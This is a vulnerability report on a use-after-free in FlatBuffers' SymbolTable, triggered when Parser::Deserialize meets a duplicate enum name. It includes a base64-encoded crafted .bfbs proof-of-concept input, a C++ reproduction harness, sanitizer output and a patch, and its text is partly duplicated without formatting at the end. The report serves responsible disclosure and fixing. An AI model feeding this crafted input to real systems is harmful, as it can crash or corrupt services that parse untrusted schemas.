Summary
Parser::Deserialize() frees an EnumDef pointer during schema deserialization when a duplicate enum name is detected, but the pointer remains in SymbolTable::vec. When the Parser destructor runs, ~SymbolTable() iterates vec and deletes the already-freed pointer, causing use-after-free.
Root Cause
SymbolTable::Add() at idl.h:248 calls vec.emplace_back(e) before checking for duplicate names. When a duplicate is found, the caller deletes the pointer at idl_parser.cpp:4462, but it remains in vec. The destructor ~SymbolTable() at idl.h:242 iterates vec and deletes all entries, hitting the freed pointer.
Vulnerable Code (idl.h:245-250)
bool Add(const std::string &name, T *e) {
vec.emplace_back(e); // Always added to vec FIRST
auto it = dict.find(name);
if (it != dict.end()) return true; // Duplicate! Caller deletes e, but e is in vec
dict[name] = e;
return false;
}
Destructor (idl.h:242-244)
~SymbolTable() {
for (auto it = vec.begin(); it != vec.end(); ++it) {
delete *it; // Double-free on the already-deleted pointer
}
}
PoC
# Generate PoC file (176 bytes, .bfbs schema with duplicate enum name)
import base64
poc = base64.b64decode("EAAAAEJGQlMIAAwABAAIAAgAAAAIAAAACAAAAAAAAAACAAAAMAAAABAAAAAMABAABAAIAAAADAAMAAAATAAAAEAAAAAoAAAADAASAAQACAAAAAwADAAAAEQAAAAoAAAAGAAAAAAABgAGAAUABgAAAAADBgAIAAcABgAAAAAAAAMAAAAAAAAAAA0AAABEdXBsaWNhdGVFbnVtAAAADQAAAER1cGxpY2F0ZUVudW0AAAA=")
open("poc.bfbs", "wb").write(poc)
// Minimal reproduction using public API
#include "flatbuffers/idl.h"
#include "flatbuffers/reflection_generated.h"
#include <fstream>
#include <vector>
int main(int argc, char* argv[]) {
std::ifstream f(argv[1], std::ios::binary);
std::vector<uint8_t> data((std::istreambuf_iterator<char>(f)), {});
flatbuffers::Verifier verifier(data.data(), data.size());
if (!reflection::VerifySchemaBuffer(verifier)) return 1;
flatbuffers::Parser parser;
parser.Deserialize(data.data(), data.size());
// UAF triggers in ~Parser() -> ~SymbolTable() when parser goes out of scope
return 0;
}
Build & run:
clang++ -fsanitize=address -g -O1 -DNDEBUG -I include \
repro.cpp src/idl_parser.cpp src/idl_gen_text.cpp src/reflection.cpp src/util.cpp \
-o repro
ASAN_OPTIONS=detect_leaks=0 ./repro poc.bfbs
Sanitizer Output
[ERROR] Schema deserialization failed
==PID==ERROR: AddressSanitizer: heap-use-after-free on address 0x5120000002e0
READ of size 8 at 0x5120000002e0 thread T0
#0 in std::vector<flatbuffers::EnumVal*>::begin()
#1 in flatbuffers::SymbolTable<flatbuffers::EnumVal>::~SymbolTable() idl.h:242
#2 in flatbuffers::EnumDef::~EnumDef()
#3 in flatbuffers::SymbolTable<flatbuffers::EnumDef>::~SymbolTable() idl.h:243
#4 in flatbuffers::Parser::~Parser() idl.h:1042
#5 in main repro.cpp
freed by thread T0 here:
#0 in operator delete(void*, unsigned long)
#1 in flatbuffers::Parser::Deserialize(reflection::Schema const*) idl_parser.cpp:4462
previously allocated by thread T0 here:
#0 in operator new(unsigned long)
#1 in flatbuffers::Parser::Deserialize(reflection::Schema const*) idl_parser.cpp:4460
SUMMARY: AddressSanitizer: heap-use-after-free idl.h:242 in ~SymbolTable
Suggested Fix
Move vec.emplace_back(e) after the duplicate check:
--- a/include/flatbuffers/idl.h
+++ b/include/flatbuffers/idl.h
bool Add(const std::string &name, T *e) {
- vec.emplace_back(e);
auto it = dict.find(name);
- if (it != dict.end()) return true;
+ if (it != dict.end()) return true; // reject duplicate BEFORE adding to vec
+ vec.emplace_back(e);
dict[name] = e;
return false;
}
Found by O2Lab FuzzingBrain.
Summary
Parser::Deserialize()frees anEnumDefpointer during schema deserialization when a duplicate enum name is detected, but the pointer remains inSymbolTable::vec. When theParserdestructor runs,~SymbolTable()iteratesvecand deletes the already-freed pointer, causing use-after-free.Root Cause
SymbolTable::Add()atidl.h:248callsvec.emplace_back(e)before checking for duplicate names. When a duplicate is found, the caller deletes the pointer atidl_parser.cpp:4462, but it remains invec. The destructor~SymbolTable()atidl.h:242iteratesvecand deletes all entries, hitting the freed pointer.Vulnerable Code (idl.h:245-250)
Destructor (idl.h:242-244)
PoC
Build & run:
clang++ -fsanitize=address -g -O1 -DNDEBUG -I include \ repro.cpp src/idl_parser.cpp src/idl_gen_text.cpp src/reflection.cpp src/util.cpp \ -o repro ASAN_OPTIONS=detect_leaks=0 ./repro poc.bfbsSanitizer Output
Suggested Fix
Move
vec.emplace_back(e)after the duplicate check:Found by O2Lab FuzzingBrain.